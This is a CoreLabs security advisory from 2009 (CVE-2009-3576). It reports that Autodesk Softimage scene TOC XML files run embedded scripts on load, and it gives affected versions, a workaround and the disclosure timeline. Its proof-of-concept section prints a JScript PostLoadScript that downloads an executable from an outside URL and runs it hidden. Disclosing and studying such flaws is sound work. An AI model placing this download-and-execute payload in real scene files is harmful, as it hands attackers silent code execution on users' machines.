235 lines
No EOL
7.4 KiB
Text
235 lines
No EOL
7.4 KiB
Text
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA1
|
|
|
|
Core Security Technologies - CoreLabs Advisory
|
|
http://www.coresecurity.com/corelabs/
|
|
|
|
Autodesk SoftImage Scene TOC Arbitrary Command Execution
|
|
|
|
|
|
|
|
1. *Advisory Information*
|
|
|
|
Title: Autodesk SoftImage Scene TOC Arbitrary Command Execution
|
|
Advisory Id: CORE-2009-0908
|
|
Advisory URL:
|
|
http://www.coresecurity.com/content/softimage-arbitrary-command-execution
|
|
Date published: 2009-11-23
|
|
Date of last update: 2009-11-20
|
|
Vendors contacted: Autodesk
|
|
Release mode: User release
|
|
|
|
|
|
|
|
2. *Vulnerability Information*
|
|
|
|
Class: Failure to Sanitize Data into a Different Plane [CWE-74]
|
|
Impact: Code execution
|
|
Remotely Exploitable: Yes
|
|
Locally Exploitable: No
|
|
Bugtraq ID: 36637
|
|
CVE Name: CVE-2009-3576
|
|
|
|
|
|
|
|
3. *Vulnerability Description*
|
|
|
|
Autodesk Softimage [2] is a 3D computer graphics application for
|
|
producing 3D computer graphics, 3D modeling, and computer animation.
|
|
Autodesk Softimage by default saves a .scntoc file along with the
|
|
scene content tree. The scene TOC (scene table of contents) is an
|
|
XML-based file that contains scene information. When you open a scene
|
|
file, Softimage looks for a corresponding scene TOC file and
|
|
automatically reads and applies the information it contains. Scene TOC
|
|
XML files can be modified to execute arbitrary commands without user
|
|
intervention by design. An attacker can take full control of the
|
|
machine where SoftImage is installed by sending a specially crafted
|
|
scene package and enticing the user to open it.
|
|
|
|
|
|
4. *Vulnerable packages*
|
|
|
|
. Autodesk Softimage 7.x
|
|
. Autodesk Softimage XSI 6.x
|
|
|
|
|
|
5. *Vendor Information, Solutions and Workarounds*
|
|
|
|
The vendor did not provide fixes or workaround information.
|
|
|
|
You can disable the default reading of SCTOC script by following these
|
|
steps:
|
|
|
|
. Go to File > Preferences > Data Management > Files tab
|
|
. Uncheck "Read scene TOC (Table of Contents) file on load".
|
|
|
|
|
|
6. *Credits*
|
|
|
|
This vulnerability was discovered and researched by Diego Juarez,
|
|
Fernando Arnaboldi and Federico Charosky from Core Security
|
|
Technologies during Bugweek 2009 [1].
|
|
|
|
The publication of this advisory was coordinated by Fernando Russ from
|
|
Core Security Advisories Team.
|
|
|
|
|
|
7. *Technical Description / Proof of Concept Code*
|
|
|
|
Autodesk Softimage by default saves a .scntoc file along with the
|
|
scene content tree. The scene TOC (scene table of contents) is an
|
|
XML-based file that contains scene information. When you open a scene
|
|
file, Softimage looks for a corresponding scene TOC file and
|
|
automatically reads and applies the information it contains. One of
|
|
the "benefits" of the TOC file is that you can edit it to run a script
|
|
automatically after loading a scene without user intervention by default.
|
|
|
|
As Proof of Concept we created a new project in Softimage, added some
|
|
geometry, and saved it. Sure enough, along the .scn a .scntoc was
|
|
created. We then proceeded to modify the XML like this:
|
|
|
|
/-----
|
|
<PostLoadScript>
|
|
<Language>JScript</Language>
|
|
<Function></Function>
|
|
<Script_Content>
|
|
<![cdata[
|
|
var s=new ActiveXObject('WScript.Shell');
|
|
var o=new ActiveXObject('ADODB.Stream');
|
|
var e=s.Environment('Process');
|
|
var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
|
|
var b=e.Item('TEMP')+'agent.exe';
|
|
var x=new ActiveXObject('Microsoft.XMLHTTP');
|
|
//x=new ActiveXObject('MSXML2.ServerXMLHTTP');
|
|
if(!x)
|
|
exit(0);
|
|
x.open('GET',u,0);
|
|
x.send(null);
|
|
o.Type=1;
|
|
o.Mode=3;
|
|
o.Open();
|
|
o.Write(x.responseBody);
|
|
o.SaveToFile(b,2);
|
|
s.Run(b,0);
|
|
]] >
|
|
</Script_Content>
|
|
</PostLoadScript>
|
|
|
|
- -----/
|
|
|
|
|
|
|
|
8. *Report Timeline*
|
|
|
|
. 2009-08-25:
|
|
Core Security Technologies ask the Autodesk Assistance Team for a
|
|
security contact to report the vulnerability.
|
|
|
|
. 2009-09-22:
|
|
Core asks the Autodesk Assistance Team for a security contact to
|
|
report the vulnerability.
|
|
|
|
. 2009-10-09:
|
|
Core contacts CERT to obtain security contact information for Autodesk.
|
|
|
|
. 2009-10-16:
|
|
CERT acknowledges the communication.
|
|
|
|
. 2009-10-19:
|
|
CERT sends their available contact information for Autodesk.
|
|
|
|
. 2009-10-19:
|
|
Core notifies Autodesk of the vulnerabilty report and announces its
|
|
initial plan to publish the content on November 2nd, 2009. Core
|
|
requests an acknoledgement within two working days and asks whehter
|
|
the details should be sent encrypted or in plaintext.
|
|
|
|
. 2009-10-19:
|
|
Autodesk acknowledges the report and requests the information to be
|
|
provided in encrypted form.
|
|
|
|
. 2009-10-20:
|
|
Core sends draft advisory and steps to reproduce the issue.
|
|
|
|
. 2009-10-27:
|
|
Core asks Autodesk about the status of the vulnerability report sent
|
|
on October 20th, 2009.
|
|
|
|
. 2009-10-27:
|
|
Autodesk acknowledges the communication indicating that the pertinent
|
|
Product Managers have been informed and are formulating a response.
|
|
|
|
. 2009-11-06:
|
|
Core notifies Autodesk about the missed deadline of November 2nd, 2009
|
|
and reuqests an status update. Publication of CORE-2009-0908 is
|
|
re-scheduled to November 16th, 2009 and is subject to change based on
|
|
concrete feedback from Autodesk.
|
|
|
|
. 2009-11-23:
|
|
Given the lack of response from Autodesk, Core decides to publish the
|
|
advisory CORE-2009-0908 as "user release".
|
|
|
|
|
|
|
|
9. *References*
|
|
|
|
[1] The authors participated in Core Bugweek 2009 as members of the
|
|
team "Gimbal Lock N Load".
|
|
[2]
|
|
http://usa.autodesk.com/adsk/servlet/pc/index?siteID=123112&id=13571168
|
|
|
|
|
|
10. *About CoreLabs*
|
|
|
|
CoreLabs, the research center of Core Security Technologies, is
|
|
charged with anticipating the future needs and requirements for
|
|
information security technologies. We conduct our research in several
|
|
important areas of computer security including system vulnerabilities,
|
|
cyber attack planning and simulation, source code auditing, and
|
|
cryptography. Our results include problem formalization,
|
|
identification of vulnerabilities, novel solutions and prototypes for
|
|
new technologies. CoreLabs regularly publishes security advisories,
|
|
technical papers, project information and shared software tools for
|
|
public use at: http://www.coresecurity.com/corelabs.
|
|
|
|
|
|
11. *About Core Security Technologies*
|
|
|
|
Core Security Technologies develops strategic solutions that help
|
|
security-conscious organizations worldwide develop and maintain a
|
|
proactive process for securing their networks. The company's flagship
|
|
product, CORE IMPACT, is the most comprehensive product for performing
|
|
enterprise security assurance testing. CORE IMPACT evaluates network,
|
|
endpoint and end-user vulnerabilities and identifies what resources
|
|
are exposed. It enables organizations to determine if current security
|
|
investments are detecting and preventing attacks. Core Security
|
|
Technologies augments its leading technology solution with world-class
|
|
security consulting services, including penetration testing and
|
|
software security auditing. Based in Boston, MA and Buenos Aires,
|
|
Argentina, Core Security Technologies can be reached at 617-399-6980
|
|
or on the Web at http://www.coresecurity.com.
|
|
|
|
|
|
12. *Disclaimer*
|
|
|
|
The contents of this advisory are copyright (c) 2009 Core Security
|
|
Technologies and (c) 2009 CoreLabs, and may be distributed freely
|
|
provided that no fee is charged for this distribution and proper
|
|
credit is given.
|
|
|
|
|
|
13. *PGP/GPG Keys*
|
|
|
|
This advisory has been signed with the GPG key of Core Security
|
|
Technologies advisories team, which is available for download at
|
|
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
|
|
|
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: GnuPG v2.0.12 (MingW32)
|
|
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
|
|
|
|
iEYEARECAAYFAksK5XkACgkQyNibggitWa0Y9gCfWWW7WNOXTqp8vLzSZaLPYXkr
|
|
lioAoJBrvffk0he38J/wRbQ4jOrWOKXR
|
|
=ce7Z
|
|
-----END PGP SIGNATURE----- |